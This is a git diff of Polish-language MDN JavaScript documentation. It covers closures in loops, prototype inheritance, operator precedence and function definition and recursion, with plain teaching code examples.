Tablica helpText definiuje trzy podpowiedzi. Każda z nich jest powiązana z ID inputu z dokumentu. Następnie w pętli for dodawana jest obsługa zdarzenia onfocus, która ma pokazać tekst podpowiedzi podczas ustawienia focusa na pole.
-
- Jeżeli sprawdzisz działanie tego kodu okaże się, że nie działa tak, jak się spodziewaliśmy. Zawsze zostanie wyświetlona podpowiedź dotycząca ostatniego pola ('Your age (you must be over 16)').

- -

Powodem takiego działania funkcji zwrotnej obsługującej onfocus jest domknięcie. Składa sie ono z definicji funkcji i przechwyconego kontekstu zakresu z setupHelp. Trzy domknięcia stworzone są w pętli, ale dzielą one to samo środowisko leksykalne, ktore posiada zmienną, która jest aktualizowana (item.help). Wartości item.help są determinowane w pętli, więc kiedy obsługa zdarzenia onfocus zostanie wywołana, item.help będzie miało wartość z ostatniej iteracji pętli.

- -

Rozwiązaniem tego problemu jest użycie kolejnych domknięć, szczególnie fabryki funkcji opisanej wcześniej:

- -
function showHelp(help) {
-  document.getElementById('help').innerHTML = help;
-}
-
-function makeHelpCallback(help) {
-  return function() {
-    showHelp(help);
-  };
-}
-
-function setupHelp() {
-  var helpText = [
-      {'id': 'email', 'help': 'Your e-mail address'},
-      {'id': 'name', 'help': 'Your full name'},
-      {'id': 'age', 'help': 'Your age (you must be over 16)'}
-    ];
-
-  for (var i = 0; i < helpText.length; i++) {
-    var item = helpText[i];
-    document.getElementById(item.id).onfocus = makeHelpCallback(item.help);
-  }
-}
-
-setupHelp();
- -

{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/1/", "", 300)}}

- -

To rozwiązanie działa zgodnie z oczekiwaniami. W odróżnieniu od wcześniejszego przykładu, makeHelpCallback tworzy nowe środowisko leksykalne dla każdej funkcji zwrotnej, w której help odnosi się do odpowiadającego stringa z tablicy helpText.

- -

Innym sposobem zapisu rozwiązania z anonimowymi domknięciami jest:

- -
function showHelp(help) {
-  document.getElementById('help').innerHTML = help;
-}
-
-function setupHelp() {
-  var helpText = [
-      {'id': 'email', 'help': 'Your e-mail address'},
-      {'id': 'name', 'help': 'Your full name'},
-      {'id': 'age', 'help': 'Your age (you must be over 16)'}
-    ];
-
-  for (var i = 0; i < helpText.length; i++) {
-    (function() {
-       var item = helpText[i];
-       document.getElementById(item.id).onfocus = function() {
-         showHelp(item.help);
-       }
-    })(); // Immediate event listener attachment with the current value of item (preserved until iteration).
-  }
-}
-
-setupHelp();
- -

Jeżeli nie chcesz używać domknięć możesz użyć słowa kluczowego let ze standardu ES2015:

- -
function showHelp(help) {
-  document.getElementById('help').innerHTML = help;
-}
-
-function setupHelp() {
-  var helpText = [
-      {'id': 'email', 'help': 'Your e-mail address'},
-      {'id': 'name', 'help': 'Your full name'},
-      {'id': 'age', 'help': 'Your age (you must be over 16)'}
-    ];
-
-  for (var i = 0; i < helpText.length; i++) {
-    let item = helpText[i];
-    document.getElementById(item.id).onfocus = function() {
-      showHelp(item.help);
-    }
-  }
-}
-
-setupHelp();
- -

Ten przykład używa let zamiast var, więc każde domknięcie wiąże się z blokowym zasięgiem funkcji, dlatego nie potrzeba żadnych dodatkowych domknięć.

- -

Alternatywą może być użycie forEach(), by iterować po tablicy helpText i dodać listener dla każdego elementu <input>:

- - - -
function showHelp(help) {
-  document.getElementById('help').innerHTML = help;
-}
-
-function setupHelp() {
-  var helpText = [
-      {'id': 'email', 'help': 'Your e-mail address'},
-      {'id': 'name', 'help': 'Your full name'},
-      {'id': 'age', 'help': 'Your age (you must be over 16)'}
-    ];
-
-  helpText.forEach(function(text) {
-    document.getElementById(text.id).onfocus = function() {
-      showHelp(text.help);
-    }
-  });
-}
-
-setupHelp();
- - - -

Wątpliwości wydajnościowe

- -

Niemądrze jest, aby niepotrzebnie tworzyć funkcje wewnątrz innych funkcji, jeżeli domnkięcia nie są wymagane w danej sytuacji, jako że odbije się to w negatywny sposób na wydajność skryptu, mierzoną poprzez czas wykonywania jak również i używaną pamięć.

- -

Na przykład gdy tworzymy nowy obiekt/klasę, metody powinny być zwykle powiązane z prototypem obiektu zamiast definiowane w konstruktorze obiektu. Przyczyną jest to, że za każdym razem gdy konstruktor zostanie użyty, metody zostaną nadpisane (czyli przy każdym tworzeniu nowego obiektu).

- -

Rozważmy następujący przykład:

- -
function MyObject(name, message) {
-  this.name = name.toString();
-  this.message = message.toString();
-  this.getName = function() {
-    return this.name;
-  };
-
-  this.getMessage = function() {
-    return this.message;
-  };
-}
- -

Ponieważ poprzedni przykład nie wykorzystuje zalet, które płyną z wykorzystania domknięć, możemy to przepisać w następujący sposób:

- -
function MyObject(name, message) {
-  this.name = name.toString();
-  this.message = message.toString();
-}
-MyObject.prototype = {
-  getName: function() {
-    return this.name;
-  },
-  getMessage: function() {
-    return this.message;
-  }
-};
- -

Jednakże ponowne definiowanie prototypu nie jest rekomendowane. Poniższy przykład zamiast tego dodaje właściwości do istniejącego prototypu:

- -
function MyObject(name, message) {
-  this.name = name.toString();
-  this.message = message.toString();
-}
-MyObject.prototype.getName = function() {
-  return this.name;
-};
-MyObject.prototype.getMessage = function() {
-  return this.message;
-};
- -

Powyższy przykład może też zostać przepisany w bardziej czytelny sposób, z identycznym wynikiem:

- -
function MyObject(name, message) {
-    this.name = name.toString();
-    this.message = message.toString();
-}
-(function() {
-    this.getName = function() {
-        return this.name;
-    };
-    this.getMessage = function() {
-        return this.message;
-    };
-}).call(MyObject.prototype);
- -

W poprzednich trzech przykładach odziedziczony prototyp może być współdzielony przez wszystkie obiektu i definicje metod nie muszą występować przy każdorazowym tworzeniu obiektu. Aby dowiedzieć się więcej, zobacz Szczegóły modelu obiektowego.

- -

In the three previous examples, the inherited prototype can be shared by all objects and the method definitions need not occur at every object creation. See Details of the Object Model for more.

diff --git a/files/pl/web/javascript/dziedziczenie_lancuch_prototypow/index.html b/files/pl/web/javascript/dziedziczenie_lancuch_prototypow/index.html deleted file mode 100644 index 0c18115595..0000000000 --- a/files/pl/web/javascript/dziedziczenie_lancuch_prototypow/index.html +++ /dev/null @@ -1,295 +0,0 @@ ---- -title: Dziedziczenie i łańcuch prototypów -slug: Web/JavaScript/dziedziczenie_lancuch_prototypow -tags: - - Dziedziczenie - - JavaScript - - OOP -translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain ---- -
{{jsSidebar("Advanced")}}
- -

JavaScript bywa mylący dla developerów doświadczonych w językach opartych na klasach (jak Java lub C++) przez to, że jest dynamiczny i nie zapewnia implementacji klasy per se (słowo kluczowe class zostało wprowadzone w ES2015, ale to tylko lukier składniowy, JavaScript pozostaje oparty na prototypach).

- -

Jeżeli chodzi o dziedziczenie, JavaScript posiada tylko jedną konstrukcję: obiekty. Każdy obiekt posiada prywatną własność łączącą go z innym obiektem zwanym jego prototypem. Obiekt prototype posiada swój własny prototyp, i tak dalej aż obiekt osiągnie null jako swój prototyp. null nie ma prototypu i działa jak zakończenie łańcucha prototypów.

- -

Podczas gdy jest to często uważane za słabość języka JavaScript, prototypowe podejście do dziedziczenia jest w rzeczywistości znacznie potężniejszym narzędziem niż model klasowy. Dla przykładu trywialnie proste jest zbudowanie klas w modelu prototypowym, podczas gdy odwrotna operacja jest znacznie bardziej skomplikowana.

- -

Dziedziczenie z łańcucha prototypów

- -

Dziedziczenie właściwości

- -

Obiekty w JavaScript są dynamicznymi "workami" właściwości, nazywanych własnymi właściwościami (own properties). Obiekty JavaScript mają połączenie z obiektem prototypu. Podczas próby dostępu do właściwości obiektu, właściwość będzie szukana nie tylko w samym obiekcie, ale też w jego prototypie, prototypie jego prototypu i tak dalej, aż do odnalezienia właściwości o pasującej nazwie bądź końca łańcucha prototypów.

- -
-

W standardzie ECMAScript, notacja jakisObiekt.[[Prototype]] jest używana do oznaczenia prototypu  jakisObiekt. Jest to odpowiednik właściwości __proto__ (przestarzały).

- -

Nie powinno być to mylone z właściwością func.prototype funkcji, który zamiast tego oznacza [[Prototype]] który jest przypisany do wszystkich instancji stworzonych z danej funkcji kiedy jest użyta jako konstruktor . Od ECMAScript 6 do obiektu [[Prototype]] można uzyskać dostęp przez {{jsxref("Object.getPrototypeOf()")}} i {{jsxref("Object.setPrototypeOf()")}}.

-
- -

Oto co się dzieje kiedy próbujemy uzyskać dostęp do właściwości:

- -
// Przyjmijmy istnienie obiektu o, z własnymi właściwościami a i b:
-// {a: 1, b: 2}
-// o.[[Prototype]] ma właściwości b i c:
-// {b: 3, c: 4}
-// o.[[Prototype]].[[Prototype]] jest nullem.
-// Oznacza to koniec łańcucha prototypów,
-// zgodnie z definicją null nie ma [[Prototype]]
-// A więc pełny łańcuch prototypów wygląda tak:
-// {a:1, b:2} ---> {b:3, c:4} ---> null
-
-console.log(o.a); // 1
-// Czy istnieje własna właściwość 'a' obiektu o? Tak, jej wartość to 1.
-
-console.log(o.b); // 2
-// Czy istnieje własna właściwość 'b' obiektu o? Tak, jej wartość to 2.
-// Prototyp także ma właściwość 'b', ale nie jest ona brana pod uwagę.
-// Nazywa się to "zakrywaniem właściwości" (ang. property shadowing)
-
-console.log(o.c); // 4
-// Czy istnieje właściwość 'c' obiektu o? Nie, sprawdź prototyp.
-// Czy istnieje właściwość 'c' obiektu o.[[Prototype]]? Tak, jej wartość to 4.
-
-console.log(o.d); // undefined
-// Czy istnieje właściwość 'd' obiektu o? Nie, sprawdź prototyp.
-// Czy istnieje właściwość 'd' obiektu o.[[Prototype]]? Nie, sprawdź prototyp.
-// o.[[Prototype]].[[Prototype]] to null, koniec wyszukiwania.
-// Nie znaleziono właściwości, zwróć undefined.
-
- -

Ustawienie właściwości obiektu tworzy własną właściwość. Jedyny wyjątek od reguł pobierania i tworzenia właściwości stanowi przypadek gdy istnieje odziedziczona właściwość z getterem lub setterem.

- -

Dziedziczenie "metody"

- -

JavaScript nie ma "metod" w rozumieniu języków obiektowych. W JS każda funkcja może być dodana jako właściwość do obiektu. Odziedziczona funkcja zachowuje się jak każda inna właściwość, wliczając w to zakrywanie właściwości, tak jak pokazano wyżej (w tym wypadku forma nadpisania metody).

- -

Kiedy jest wykonywana odziedziczona metoda, wartość this wskazuje na obiekt, który dziedziczy, nie na obiekt w którym ta metoda została zadeklarowana jako własna właściwość

- -
var o = {
-  a: 2,
-  m: function(b){
-    return this.a + 1;
-  }
-};
-
-console.log(o.m()); // 3
-// Podczas wywołania o.m, 'this' wskazuje na o
-
-var p = Object.create(o);
-// p jest obiektem dziedziczącym z o
-
-p.a = 12; // tworzy własną właściwość 'a' w obiekcie p
-console.log(p.m()); // 13
-// Podczas wywołania p.m, 'this' wskazuje na p.
-// p dziedziczy funkcję m z obiektu o.
-// 'this.a' oznacza p.a, własną właściwość 'a' obiektu p.
-
- -

Różne sposoby tworzenia obiektów i powiązane z nimi łańcuchy prototypów.

- - - -

Obiekty stworzone za pomocą podstawowej składni

- -
var o = {a: 1};
-// Nowo stworzony obiekt używa Object.prototype jako swojego [[Prototype]]
-// o nie posiada właściwości o nazwie 'hasOwnProperty'
-// hasOwnProperty jest własną właściwością Object.prototype.
-// o dziedziczy hasOwnProperty z Object.prototype
-// Object.prototype ma null jako swój prototyp.
-// o ---> Object.prototype ---> null
-
-var a = ["yo", "whadup", "?"];
-// Tablice dziedziczą z Array.prototype
-// (który zawiera metody takie jak indexOf, forEach, itd.)
-// Łańcuch prototypów wygląda następująco:
-// a ---> Array.prototype ---> Object.prototype ---> null
-
-function f(){
-  return 2;
-}
-
-// Funkcje dziedziczą z Function.prototype
-// (który zawiera metody takie jak call, bind, itd.)
-// f ---> Function.prototype ---> Object.prototype ---> null
-
- -

Za pomocą konstruktora

- -

"Konstruktor" w JavaScript jest "tylko" funkcją, której używa się w połączeniu z operatorem new.

- -
function Graph() {
-  this.vertices = [];
-  this.edges = [];
-}
-
-Graph.prototype = {
-  addVertex: function(v){
-    this.vertices.push(v);
-  }
-};
-
-var g = new Graph();
-// g is an object with own properties 'vertices' and 'edges'.
-// g.[[Prototype]] is the value of Graph.prototype when new Graph() is executed.
-
- -

Za pomocą Object.create

- -

ECMAScript 5 wprowadził nową metodę: {{jsxref("Object.create()")}}. Wywołanie tej metody tworzy nowy obiekt. Jego prototypem staje się pierwszy argument tej metody:

- -
var a = {a: 1};
-// a ---> Object.prototype ---> null
-
-var b = Object.create(a);
-// b ---> a ---> Object.prototype ---> null
-console.log(b.a); // 1 (inherited)
-
-var c = Object.create(b);
-// c ---> b ---> a ---> Object.prototype ---> null
-
-var d = Object.create(null);
-// d ---> null
-console.log(d.hasOwnProperty);
-// undefined, because d doesn't inherit from Object.prototype
-
- -
-

Za pomocą słowa kluczowego class

- -

ECMAScript 6 wprowadził zestaw nowych słów kluczowych do implementacji klas. Mimo, że konstrukcje te mogą wydawać się znajome programistom języków opartych na klasach, nie są one tym samym. JavaScript wciąż opiera się na prototypach. Nowe słowa kluczowe to {{jsxref("Statements/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}} oraz {{jsxref("Operators/super", "super")}}.

- -
"use strict";
-
-class Polygon {
-  constructor(height, width) {
-    this.height = height;
-    this.width = width;
-  }
-}
-
-class Square extends Polygon {
-  constructor(sideLength) {
-    super(sideLength, sideLength);
-  }
-  get area() {
-    return this.height * this.width;
-  }
-  set sideLength(newLength) {
-    this.height = newLength;
-    this.width = newLength;
-  }
-}
-
-var square = new Square(2);
-
- -

Wydajność

- -

Czas dostępu do właściwości znajdujących się wysoko w łańcuchu prototypów może negatywnie wpływać na wydajność, co może mieć znaczenie w przypadku kodu, którego szybkość wykonania jest krytyczna. W dodatku próba dostępu do nieistniejącej właściwości zawsze powoduje przeszukanie pełnego łańcucha prototypów.

- -

Kiedy iterujemy po właściwościach obiektu, sięgamy do każdej właściwości widocznej w łańcuchu prototypów.

- -

Aby sprawdzić czy obiekt ma właściwość zdefiniowaną na nim samym, a nie gdzieś w łańcuchu prototypów, konieczne jest użycie metody hasOwnProperty, którą wszystkie obiekty dziedziczą z Object.prototype.

- -

hasOwnProperty jest w JavaScript jedyną rzeczą, która działa na właściwościach obiektu nie przeszukując łańcucha prototypów.

- -

Uwaga: sprawdzenie czy właściwość jest undefined nie wystarczy. Właściwość może istnieć, a jedynie mieć akurat wartość ustawioną na undefined.

-
- -

Zła praktyka: Rozszerzanie natywnych prototypów

- -

One mis-feature that is often used is to extend Object.prototype or one of the other built-in prototypes.

- -

This technique is called monkey patching and breaks encapsulation. While used by popular frameworks such as Prototype.js, there is still no good reason for cluttering built-in types with additional non-standard functionality.

- -

The only good reason for extending a built-in prototype is to backport the features of newer JavaScript engines; for example Array.forEach, etc.

- -

Przykład

- -

B shall inherit from A:

- -
function A(a){
-  this.varA = a;
-}
-
-// What is the purpose of including varA in the prototype when A.prototype.varA will always be shadowed by
-// this.varA, given the definition of function A above?
-A.prototype = {
-  varA : null,  // Shouldn't we strike varA from the prototype as doing nothing?
-      // perhaps intended as an optimization to allocate space in hidden classes?
-      // https://developers.google.com/speed/articles/optimizing-javascript#Initializing instance variables
-      // would be valid if varA wasn't being initialized uniquely for each instance
-  doSomething : function(){
-    // ...
-  }
-};
-
-function B(a, b){
-  A.call(this, a);
-  this.varB = b;
-}
-B.prototype = Object.create(A.prototype, {
-  varB : {
-    value: null,
-    enumerable: true,
-    configurable: true,
-    writable: true
-  },
-  doSomething : {
-    value: function(){ // override
-      A.prototype.doSomething.apply(this, arguments); // call super
-      // ...
-    },
-    enumerable: true,
-    configurable: true,
-    writable: true
-  }
-});
-B.prototype.constructor = B;
-
-var b = new B();
-b.doSomething();
-
- -

The important parts are:

- - - -

prototype and Object.getPrototypeOf

- -

JavaScript is a bit confusing for developers coming from Java or C++, as it's all dynamic, all runtime, and it has no classes at all. It's all just instances (objects). Even the "classes" we simulate are just a function object.

- -

You probably already noticed that our function A has a special property called prototype. This special property works with the JavaScript new operator. The reference to the prototype object is copied to the internal [[Prototype]] property of the new instance. For example, when you do var a1 = new A(), JavaScript (after creating the object in memory and before running function A() with this defined to it) sets a1.[[Prototype]] = A.prototype. When you then access properties of the instance, JavaScript first checks whether they exist on that object directly, and if not, it looks in [[Prototype]]. This means that all the stuff you define in prototype is effectively shared by all instances, and you can even later change parts of prototype and have the changes appear in all existing instances, if you wanted to.

- -

If, in the example above, you do var a1 = new A(); var a2 = new A(); then a1.doSomething would actually refer to Object.getPrototypeOf(a1).doSomething, which is the same as the A.prototype.doSomething you defined, i.e. Object.getPrototypeOf(a1).doSomething == Object.getPrototypeOf(a2).doSomething == A.prototype.doSomething.

- -

In short, prototype is for types, while Object.getPrototypeOf() is the same for instances.

- -

[[Prototype]] is looked at recursively, i.e. a1.doSomething, Object.getPrototypeOf(a1).doSomething, Object.getPrototypeOf(Object.getPrototypeOf(a1)).doSomething etc., until it's found or Object.getPrototypeOf returns null.

- -

So, when you call

- -
var o = new Foo();
- -

JavaScript actually just does

- -
var o = new Object();
-o.[[Prototype]] = Foo.prototype;
-Foo.call(o);
- -

(or something like that) and when you later do

- -
o.someProp;
- -

it checks whether o has a property someProp. If not it checks Object.getPrototypeOf(o).someProp and if that doesn't exist it checks Object.getPrototypeOf(Object.getPrototypeOf(o)).someProp and so on.

- -
-

Na zakończenie

- -

It is essential to understand the prototypal inheritance model before writing complex code that makes use of it. Also, be aware of the length of the prototype chains in your code and break them up if necessary to avoid possible performance problems. Further, the native prototypes should never be extended unless it is for the sake of compatibility with newer JavaScript features.

-
diff --git a/files/pl/web/javascript/guide/details_of_the_object_model/index.html b/files/pl/web/javascript/guide/details_of_the_object_model/index.html new file mode 100644 index 0000000000..2467b1c315 --- /dev/null +++ b/files/pl/web/javascript/guide/details_of_the_object_model/index.html @@ -0,0 +1,25 @@ +--- +title: Powrót dziedziczenia własności +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model +translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Property_Inheritance_Revisited +--- +

+

+

Powrót dziedziczenia własności

+

W poprzednim temacie zostało opisane jak w JavaScript działają prototypy konstruktorów dostarczające hierarchie i dziedziczenie. Ten temat omawia kilka podtematów, które były konieczne do omówienia we wcześniejszych dyskusjach.

+
Wartości lokalne vs. dziedziczone +
Określanie wzajemnych relacji obiektu +
Globalne informacje w konstruktorach +
Brak wielokrotnego dziedziczenia +
+

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Więcej elastycznych konstruktorów", "Przewodnik po języku JavaScript 1.5:Powrót dziedziczenia własności:Wartości lokalne vs. dziedziczone") }} +

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited", "es": "es/Gu\u00eda_JavaScript_1.5/M\u00e1s_sobre_la_herencia_de_propiedades", "ja": "ja/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited" } ) }} diff --git a/files/pl/web/javascript/guide/expressions_and_operators/index.html b/files/pl/web/javascript/guide/expressions_and_operators/index.html new file mode 100644 index 0000000000..272af2a690 --- /dev/null +++ b/files/pl/web/javascript/guide/expressions_and_operators/index.html @@ -0,0 +1,113 @@ +--- +title: Operatory +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Expressions_and_Operators +translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Operators +--- +

+

+

Operatory

+

JavaScript posiada następujące typy operatorów. Ten temat opisuje operatory i wartości informacyjne o operatorach pierwszeństwa. +

+ +

JavaScript posiada po dwa operatory bitowe i unarne. Operator bitowy zwraca dwa argumenty, jeden przed operatorem i jeden za operatorem:

+
argument1 operator argument2
+
+

Na przykład, 3+4 lub x*y. +Operator unarny zwraca pojedynczy znak argumentu, znaki te zapisujemy przed lub za operatorem: +

+
operator argument
+
+

lub +

+
argument operator
+
+

Na przykład, x++ lub ++x. +

Uzupełniając, JavaScript posiada potrójny operator, jakim jest operator warunkowy. Potrójny operator zwraca trzy argumenty. +

+

Pierwszeństwo operatorów

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Typ operatoraIndywidualny operator
przecinek,
przypisania = += -= *= /= %= <<= >>= >>>= &= ^= |=
warunkowy?:
logiczne "LUB" ||
logiczne "I"&&
bitowe "LUB"|
bitowe "XOR" ^
bitowe "I"&
porównanie== != === !==
relacji< <= > >= in instanceof
przesunięcie bitowe << >> >>>
dodawanie/odejmowanie + -
mnożenie/dzielenie/modulo * / %
negacja/inkrementacja/dekrementacja ! ~ - + ++ -- typeof void delete
nazwa / tworzenie przykładu () new
pamięci . []
+

Tabela: Operatory pierwszeństwa +

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Wyrażenia", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory przypisania") }} +

{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs", "ja": "ja/Core_JavaScript_1.5_Guide/Operators" } ) }} diff --git a/files/pl/web/javascript/guide/functions/index.html b/files/pl/web/javascript/guide/functions/index.html new file mode 100644 index 0000000000..d9e66793ea --- /dev/null +++ b/files/pl/web/javascript/guide/functions/index.html @@ -0,0 +1,642 @@ +--- +title: Funkcje +slug: Web/JavaScript/Guide/Funkcje +translation_of: Web/JavaScript/Guide/Functions +--- +
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}
+ +

Funkcje są jednym z podstawowych 'klocków' JavaScriptu. Funkcja jest zbiorem wyrażeń, które wykonują jakieś zadanie, bądź obliczają wartość. Aby użyć funkcji, musisz najpierw zdefiniować ją gdzieś w zasięgu, z którego zostanie wywołana.

+ +

See also the exhaustive reference chapter about JavaScript functions to get to know the details.

+ +

Definiowanie funkcji

+ +

Deklaracje funkcji

+ +

Definicja funkcji (zwana też deklaracją funkcji, lub instrukcją funkcji) składa się ze słowa kluczowego function oraz:

+ + + +

Poniższy przykład przedstawia definicję funkcji obliczającej kwadrat liczby:

+ +
function square(number) {
+  return number * number;
+}
+
+ +

Funkcja square przyjmuje jeden argument, nazwany number. Funkcja składa się z jednej instrukcji, która zwraca argument (number) pomnożony przez siebie. Instrukcja return oznacza wartość zwracaną przez funkcję.

+ +
return number * number;
+
+ +

Podstawowe parametry (takie jak liczby) są przekazywane do funkcji przez wartość; wartośc przekazywana jest do funkcji, ale jeśli funkcja zmienia wartość, ta zmiana nie jest rejestrowana globalnie, lub w funkcji wywołującej.

+ +

Jeśli przekażesz obiekt (n.p. {{jsxref("Array")}}) jako parametr a funkcja zmieni właściwości obiektu, zmiana ta jest rejestrowana poza funkcją, tak jak jest to pokazane w przykładzie:

+ +
function myFunc(theObject) {
+  theObject.make = "Toyota";
+}
+
+var mycar = {make: "Honda", model: "Accord", year: 1998};
+var x, y;
+
+x = mycar.make; // x dostaje wartość "Honda"
+
+myFunc(mycar);
+y = mycar.make; // y dodaje wartość "Toyota"
+                // (właściwość make została zmieniona przez funkcję)
+
+ +
+

Note: Przypisanie nowego obiektu do parametru nie będzie miało żadnego skutku poza funkcją, ponieważ jest to zmiana wartości parametru, a nie zmiana jednej z właściwości obiektu:

+
+ +
function myFunc(theObject) {
+  theObject = {make: "Ford", model: "Focus", year: 2006};
+}
+
+var mycar = {make: "Honda", model: "Accord", year: 1998};
+var x, y;
+
+x = mycar.make; // x dostaje wartość "Honda"
+
+myFunc(mycar);
+y = mycar.make; // y wciąż dostaje wartość "Honda" 
+ +

Wyrażenia funkcyjne

+ +

Podczas gdy powyższa deklaracja jest syntaktycznie wyrażeniem, funkcje mogą być utworzone także przez wyrażenie funkcyjne. Taka funkcja może być anonimowa; nie posiadająca nazwy. Dla przykładu, funkcja square może być zdefiniowana następująco:

+ +
var square = function(number) { return number * number };
+var x = square(4) // x gets the value 16
+ +

Deklaracja funkcji przy  pomocy wyrażenia funkcyjnego nie oznacza, że funkcja musi być anonimowa. Nadal może ona posiadać swoją nazwę, która może przydać się do wywołania samej siebie czy do identyfikacji w śladzie stosu podczas debugowania kodu. 

+ +
var factorial = function fac(n) { return n<2 ? 1 : n*fac(n-1) };
+
+console.log(factorial(3));
+
+ +

Function expressions are convenient when passing a function as an argument to another function. The following example shows a map function being defined and then called with an expression function as its first parameter:

+ +
function map(f,a) {
+  var result = [], // Create a new Array
+      i;
+  for (i = 0; i != a.length; i++)
+    result[i] = f(a[i]);
+  return result;
+}
+
+ +

Poniższy kod:

+ +
map(function(x) {return x * x * x}, [0, 1, 2, 5, 10]);
+
+ +

zwraca [0, 1, 8, 125, 1000].

+ +

In JavaScript, a function can be defined based on a condition. For example, the following function definition defines myFunc only if num equals 0:

+ +
var myFunc;
+if (num == 0){
+  myFunc = function(theObject) {
+    theObject.make = "Toyota"
+  }
+}
+ +

In addition to defining functions as described here, you can also use the {{jsxref("Function")}} constructor to create functions from a string at runtime, much like {{jsxref("eval()")}}.

+ +

A method is a function that is a property of an object. Read more about objects and methods in Working with objects.

+ +

Wywoływanie funkcji

+ +

Definicja fukcji nie wykonuje jej. Definiowanie funkcji nazywa fukncję i określa co robić kiedy fukcja zostanie wywołana. Wywołanie funkcji inicjiuje wykonanie określonych akcji wraz z wskazanymi parametrami. Na przykład, jeśli zdefiniujesz funkcję square, możesz ją wywołać w następujący sposób:

+ +
square(5);
+
+ +

Powyższy kod wywołuje funkcję dla argumentu 5. Funkcja wykonuje się i zwraca wartość 25.

+ +

Funkcja musi znajdować się w obecnym zakresie by mogła zostać wywołana. Jej wywołanie może jednak znajdować się powyżej jej deklaracji. Mamy wtedy do czynienia ze zjawiskiem hoistingu. 

+ +
console.log(square(5));
+/* ... */
+function square(n) { return n*n }
+
+ +

Zakres funkcji jest funkcją w której została ona zadeklarowana co oznacza, że deklarując funkcję na najwyższym poziomie programu, znajduje się ona w zakresie globalnym.

+ +
+

Notka: Zjawisko hoistingu funkcji zachodzi wyłącznie w przypadku powyższego sposobu deklaracji (function funcName(){}). Poniższy kod nie zadziała, w tym przypadku funkcja została zadeklarowana za pomocą wyrażenia.

+
+ +
console.log(square(5));
+square = function (n) {
+  return n * n;
+}
+
+ +

Argumenty funkcji mogą być nie tylko łańcuchami lub liczbami.Funkcja show_props() (zdefiniowana w Working with objects) jest przykładem funkcji przyjmującej objekt jako argument.

+ +

Funkcja może wywoływać samą siebie. Na przykład, poniżej mamy funkcję rekurencyjnie obliczającą silnię.

+ +
function factorial(n){
+  if ((n == 0) || (n == 1))
+    return 1;
+  else
+    return (n * factorial(n - 1));
+}
+
+ +

Poniżej znajdują się wyniki funkcji dla liczb z zakresu 1-5.

+ +
var a, b, c, d, e;
+a = factorial(1); // a gets the value 1
+b = factorial(2); // b gets the value 2
+c = factorial(3); // c gets the value 6
+d = factorial(4); // d gets the value 24
+e = factorial(5); // e gets the value 120
+
+ +

Istnieją inne sposoby wywołania funkcji. Często zdarzają się sytuacje gdy funkcja musi zostać wywołana dynamicznie, przyjmuje różna liczbę argumentów lub zmienia sie kontekst jej wywołania. Okazuje się, że funkcje są tak naprawdę obiektami, które posiadaja własne metody (sprawdź obiekt {{jsxref("Function")}}). Jednej z tych metod {{jsxref("Function.apply", "apply()")}} możemy użyć do zmiany kontekstu wywołania funkcji.

+ +

Zakres funkcji

+ +

Zmienne zdefiniowane wewnątrz funkcji nie są dostępne poza nią, ponieważ są zdefiniowane tylko w wewnętrznym zakresie funkcji. Sama funkcja ma dostęp do innych zmiennych i funkcji zdefiniowanych w tym samym zakresie, w którym została zdefiniowana. Innymi słowy, funkcja zdefiniowana w zakresie globalnym ma dostęp do wszystkich zmiennych zdefiniowanych w zakresie globalnym. Funkcja zdefiniowana w innej funkcji ma dostęp do wszystkich zmiennych zdefiniowanych w funkcji macierzystej oraz zmiennych, do których ma dostęp funkcja macierzysta.

+ +
// Poniższe zmienne są zdefiniowane z zakresie globalnym
+var num1 = 20,
+    num2 = 3,
+    name = "Chamahk";
+
+// Ta funkcja jest zdefiniowana w zakresie globalnym
+function multiply() {
+  return num1 * num2;
+}
+
+multiply(); // Zwraca 60
+
+// Przykład funkcji zagnieżdżonej
+function getScore () {
+  var num1 = 2,
+      num2 = 3;
+
+  function add() {
+    return name + " scored " + (num1 + num2);
+  }
+
+  return add();
+}
+
+getScore(); // Zwraca "Chamahk scored 5"
+
+ +

Zakres i stos funkcji

+ +

Rekurencja

+ +

Funkcja może się odwoływać i wywoływać samą siebie. Istnieją trzy sposoby odwoływania się funkcji do siebie:

+ +
    +
  1. przez nazwę funkcji
  2. +
  3. arguments.callee
  4. +
  5. przez zmienną dostępna w zakresie, która odwołuje się do funkcji
  6. +
+ +

Na przykład, rozważ następującą definicję funkcji:

+ +
var foo = function bar() {
+   // statements go here
+};
+
+ +

Within the function body, the following are all equivalent:

+ +
    +
  1. bar()
  2. +
  3. arguments.callee()
  4. +
  5. foo()
  6. +
+ +

Funkcja, która wywołuje samą siebie to funkcja rekurencyjna. W pewnym sensie rekurencja jest analogiczna z pętlą. Zarówno funkcja rekurencyjna, jak i pętla wykonują ten sam kod wiele razy, potrzebują warunku końca (aby uniknąć wiecznej pętli lub bardziej w tym przypadku wiecznej rekurencji). Dla przykładu następująca pętla:

+ +
var x = 0;
+while (x < 10) { // "x < 10" is the loop condition
+   // zrób jakieś rzeczy
+   x++;
+}
+
+ +

